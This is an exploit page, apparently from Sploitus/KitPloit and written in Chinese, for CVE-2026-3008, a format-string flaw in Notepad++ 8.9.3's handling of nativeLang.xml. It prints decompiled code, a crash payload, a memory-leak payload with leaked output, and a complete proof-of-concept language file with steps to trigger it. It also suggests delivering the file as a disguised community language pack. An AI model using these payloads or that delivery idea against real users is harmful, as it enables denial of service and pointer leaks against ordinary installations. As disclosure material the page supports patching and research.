Sploitus

Exploit for CVE-2026-3008

kitploit · 2026-09-03

Exploit Code

MARKDOWN121 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LLGSJSM-CVE-2026-3008
# CVE-2026-3008 — Notepad++ 8.9.3 通过 nativeLang.xml 注入格式字符串

## 漏洞描述

当搜索操作产生结果时,`sub_1400916C0` 通过从 `nativeLang.xml` 中检索本地化字符串并将其直接作为格式字符串传递给 `wsprintfW` 来格式化命中计数标签:

root@kitploit:~
    
    
    sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // 获取本地化字符串
    v38 = (const WCHAR *)v51;
    if ( v53 > 7 )
        v38 = v51[0];                                       // SSO:堆指针
    wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38 是格式字符串
    

该字符串来源于 `nativeLang.xml` 中的 `<find-result-hits>` 属性,在数据流的任何环节均未经过验证:

root@kitploit:~
    
    
    nativeLang.xml
      → TinyXML 解析器          (读取 XML 属性,无内容验证)
      → NativeLangSpeaker       (UTF-8 → UTF-16 转换,无验证)
      → sub_140099E60           ($INT_REPLACE$ 替换 — 格式说明符得以保留)
      → wsprintfW(buf, v38)     (v38 被用作格式字符串参数,而非数据)
    

`wsprintfW` 仅以两个参数被调用 — 没有可变参数数据参数。`v38` 中的任何格式说明符都会从 x64 调用约定的参数槽(R8、R9、栈)中读取值,而这些位置包含残留的寄存器垃圾数据。

* * *

## 受影响组件

字段| 值  
---|---  
**函数**| `sub_1400916C0`(查找结果面板初始化器)  
**汇点地址**| `0x140091E6D`  
**触发条件**|  任何产生结果的搜索(全部查找、在文件中查找、全部标记、全部替换)  
  
`sub_1400916C0` 从 FindResults WndProc(`sub_140089BF0`)中的四个位置被调用:

地址| 触发条件  
---|---  
`0x14008B63B`| 在文件中查找  
`0x14008B72D`| 在当前文档/所有文档中全部查找  
`0x14008B97E`| 全部替换  
  
* * *

## 影响

### 崩溃 — `%s`(拒绝服务)

root@kitploit:~
    
    
    <find-result-hits value="%s%s%s%s%s%s%s%s"/>
    

每个 `%s` 都将一个垃圾寄存器或栈值解释为 `WCHAR*` 指针。第一个无效地址会立即触发访问冲突(`STATUS_ACCESS_VIOLATION`,`0xC0000005`)。在恶意文件被移除之前,Notepad++ 会在每次后续搜索时崩溃 — 可靠的一次性拒绝服务攻击。

### 信息泄露 — `%08lx`

root@kitploit:~
    
    
    <find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
    

栈和寄存器内容被作为 DWORD 值读取并格式化为十六进制,显示在查找结果面板标签中。实测观察到的输出:

root@kitploit:~
    
    
    8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
    

诸如 `5852bb18` 和 `7b1052e0` 之类的值是截断的 64 位指针片段。

### 利用上限

`wsprintfW`(user32.dll)**不** 支持 `%n` — 不存在任意写原语。其硬编码的 1024 字符输出限制与目标缓冲区大小完全一致,排除了堆缓冲区溢出的可能性。该漏洞被确认为**拒绝服务 + 信息泄露** 。仅凭此格式字符串无法实现代码执行。

* * *

## 攻击向量

`nativeLang.xml` 默认不存在 — 英文版安装不受影响。当用户通过 设置 → 首选项 → 常规 → 本地化 选择非英语语言时,Notepad++ 会将相应文件写入:

版本| 路径  
---|---  
安装版| `%APPDATA%\Notepad++\nativeLang.xml`  
便携版| `<npp_directory>\nativeLang.xml`  
  
在随附的 94 个本地化文件中,**43 个包含`<find-result-hits>` 元素**。如果这些语言用户的 `nativeLang.xml` 被篡改 — 例如通过论坛或下载站点分发的恶意社区语言包 — 则他们容易受到攻击。攻击者可以为所有其他字符串包含合法的翻译,使该文件看起来正常。

* * *

## 概念验证

将以下文件放置在 `<npp_directory>\nativeLang.xml`(便携版)或 `%APPDATA%\Notepad++\nativeLang.xml`(安装版),然后打开 Notepad++ 并执行任何产生结果的搜索(Ctrl+F → 在当前文档中全部查找)。

root@kitploit:~
    
    
    <?xml version="1.0" encoding="UTF-8" ?>
    <NotepadPlus>
        <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
            <Menu><Main></Main></Menu>
            <MiscStrings>
                <find-result-hits value="%s%s%s%s%s%s%s%s"/>
            </MiscStrings>
        </Native-Langue>
    </NotepadPlus>
    

**结果:** Notepad++ 在 `wsprintfW` 中因访问冲突立即崩溃。

其他载荷变体位于 `payloads/` 目录中。